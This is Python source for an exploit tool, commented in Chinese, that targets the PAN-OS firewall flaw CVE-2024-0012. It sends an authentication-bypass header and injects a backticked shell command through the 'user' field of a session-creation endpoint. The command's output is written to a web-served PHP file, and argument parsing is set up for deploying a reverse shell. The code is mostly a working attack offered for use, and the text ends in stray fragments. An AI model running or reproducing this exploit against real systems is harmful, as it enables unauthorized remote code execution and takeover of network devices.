PAN-OS CVE-2024-0012 命令注入与权限绕过利用工具

class VulnChecker:
    def __init__(self, base_url, verify_ssl=False, timeout=30, command="uname -a"):
        self.base_url = base_url
        self.verify_ssl = verify_ssl
        self.timeout = timeout
        self.command = command
        self.session = requests.Session()
        
        if not verify_ssl:
            urllib3.disable_warnings(InsecureRequestWarning)
            self.session.verify = False
    
    def create_initial_session(self):
        """Create initial session with command injection payload"""
        headers = {
            'X-PAN-AUTHCHECK': 'off',  # 关键绕过头
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        
        # 命令注入 payload，将命令执行结果写入 watchTowr.php
        data = {
            'user': f'`{self.command} > /var/appweb/htdocs/unauth/watchTowr.php`',
            'userRole': 'superuser',
            'remoteHost': '',
            'vsys': 'vsys1'
        }
        
        response = self.make_request('POST', '/php/utils/createRemoteAppwebSession.php/watchTowr.php', headers=headers, data=data)
        return response

    def make_request(self, method, endpoint, **kwargs):
        try:
            url = urljoin(self.base_url, endpoint)
            kwargs['timeout'] = self.timeout
            kwargs['verify'] = self.verify_ssl
            
            response = self.session.request(method, url, **kwargs)
            response.raise_for_status()
            return response
            
        except requests.exceptions.SSLError as e:
            logging.error(f"SSL Error: {str(e)}")
            logging.info("Try using --no-verify if the target uses self-signed certificates")
            return None
        except requests.exceptions.RequestException as e:
            logging.error(f"Request failed: {str(e)}")
            return None

# 命令行参数定义示例 (根据文档整合)
import argparse

def parse_arguments():
    parser = argparse.ArgumentParser(description='CVE-2024-0012 PAN-OS 认证绕过与命令注入利用工具')
    parser.add_argument('--url', required=True, help='目标基础 URL (http:// 或 https://)')
    parser.add_argument('--no-verify', action='store_true', help='禁用 SSL 证书验证')
    parser.add_argument('--timeout', type=int, default=30, help='请求超时时间 (秒)')
    parser.add_argument('--command', default='uname -a', help='在目标上执行的命令')
    parser.add_argument('--reverse-shell', action='store_true', help='部署反向 Shell')
    parser.add_argument('--lhost', help='反向 Shell 本地主机 IP')
    parser.add_argument('--lport', type=int, help='反向 Shell 本地端口')

    args = parser.parse_args()
    
    # 简单逻辑校验
    if args.reverse_shell and (not args.lhost or not args.lport):
        parser.error("--reverse-shell 需要同时指定 --lhost 和 --lport")
        
    return args
```FINISHED